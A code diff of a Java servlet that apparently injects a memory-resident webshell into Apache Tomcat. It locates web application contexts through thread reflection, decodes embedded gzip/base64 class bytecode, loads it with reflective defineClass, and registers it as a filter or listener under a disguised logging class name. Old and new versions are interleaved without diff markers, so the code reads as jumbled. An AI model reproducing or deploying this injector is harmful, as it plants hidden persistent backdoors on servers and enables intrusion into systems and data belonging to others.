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@@ -1,3 +1,5 @@
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package jakarta;
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import jakarta.servlet.ServletException;
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import jakarta.servlet.http.HttpServlet;
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import jakarta.servlet.http.HttpServletRequest;
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@@ -123,60 +125,27 @@ public class TestServlet extends HttpServlet {
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}
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public String getClassName() {
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return "com.google.gso.sLUOL.ErrorHandler";
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return "org.apache.logging.plrkK.ErrorHandler";
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}
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public String getBase64String() {
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return "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";
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public String getBase64String() throws IOException {
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return "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";
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}
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public void addListener(Object context, Object listener) throws Exception {
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if (!this.isInjected(context, this.getClassName())) {
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String filedName = "applicationEventListenersObjects";
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Object applicationEventListenersObjects = getFV(context, filedName);
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if (applicationEventListenersObjects == null) {
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filedName = "applicationEventListenersInstances";
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applicationEventListenersObjects = getFV(context, filedName);
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}
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if (applicationEventListenersObjects != null) {
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Object[] appListeners = (Object[]) applicationEventListenersObjects;
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if (appListeners != null) {
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List appListenerList = new ArrayList(Arrays.asList(appListeners));
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appListenerList.add(listener);
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setFieldValue(context, filedName, appListenerList.toArray());
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}
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} else if (getFV(context, "applicationEventListenersList") != null) {
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List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
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if (appListeners != null) {
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appListeners.add(listener);
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}
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}
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}
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}
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public boolean isInjected(Object context, String evilClassName) throws Exception {
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Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
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List listeners = Arrays.asList(objects);
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for (Object o : new ArrayList(listeners)) {
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if (o.getClass().getName().contains(evilClassName)) {
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return true;
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}
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}
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return false;
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}
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public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
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List<Object> contexts = new ArrayList<Object>();
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Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
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List<Object> contexts = new ArrayList();
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Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads");
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try {
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for (Thread thread : threads) {
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for(Thread thread : threads) {
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if (thread.getName().contains("ContainerBackgroundProcessor")) {
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Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
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for (Object key : childrenMap.keySet()) {
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Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
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for (Object key1 : children.keySet()) {
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Map<?, ?> childrenMap = (Map)getFV(getFV(getFV(thread, "target"), "this$0"), "children");
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for(Object key : childrenMap.keySet()) {
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Map<?, ?> children = (Map)getFV(childrenMap.get(key), "children");
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for(Object key1 : children.keySet()) {
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Object context = children.get(key1);
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if (context != null) {
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contexts.add(context);
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@@ -185,87 +154,56 @@ public class TestServlet extends HttpServlet {
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}
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}
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}
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} catch (Exception e) {
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e.printStackTrace();
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} catch (Exception var14) {
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}
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return contexts;
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}
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private Object getFilter(Object context) {
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Object filter = null;
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private Object getListener(Object context) throws Exception {
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Object listener = null;
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ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
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if (classLoader == null) {
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classLoader = context.getClass().getClassLoader();
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}
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try {
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filter = classLoader.loadClass(this.getClassName());
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listener = classLoader.loadClass(this.getClassName()).newInstance();
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} catch (Exception var9) {
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try {
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byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String()));
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Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
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defineClass.setAccessible(true);
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Class<?> clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
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filter = clazz.newInstance();
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} catch (Throwable e1) {
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e1.printStackTrace();
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Class<?> clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
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listener = clazz.newInstance();
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} catch (Exception var8) {
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}
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}
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return filter;
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return listener;
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}
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public void addListener(Object context, Object listener) throws Exception {
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try {
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List<EventListener> eventListeners = (List)getFV(context, "contextListeners");
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boolean isExist = false;
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for(EventListener eventListener : eventListeners) {
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if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
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isExist = true;
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break;
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}
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}
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if (!isExist) {
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eventListeners.add((EventListener)listener);
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}
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} catch (Exception var7) {
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}
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}
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@Override
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protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
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try {
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List<Object> context = getContext();
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for (Object o : context) {
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Object filter = getFilter(o);
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addFilter(o, filter);
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}
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} catch (IllegalAccessException e) {
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throw new RuntimeException(e);
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} catch (NoSuchMethodException e) {
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throw new RuntimeException(e);
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} catch (InvocationTargetException e) {
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throw new RuntimeException(e);
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} catch (Exception e) {
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throw new RuntimeException(e);
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}
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}
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public void addFilter(Object context, Object filter) throws Exception {
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String filterName = getClassName();
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// 防止重复注入
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try {
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if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
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return;
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}
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} catch (Exception ignored) {
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}
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try {
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Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
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Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
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invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
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invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
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invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
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invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
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invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
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invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
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try {
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// v7.0.0 以上
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invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
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} catch (Exception e) {
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invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
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}
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Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
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constructors[0].setAccessible(true);
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Object filterConfig = constructors[0].newInstance(context, filterDef);
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HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
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filterConfigs.put(filterName, filterConfig);
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} catch (Exception e) {
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e.printStackTrace();
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}
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}
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@Override
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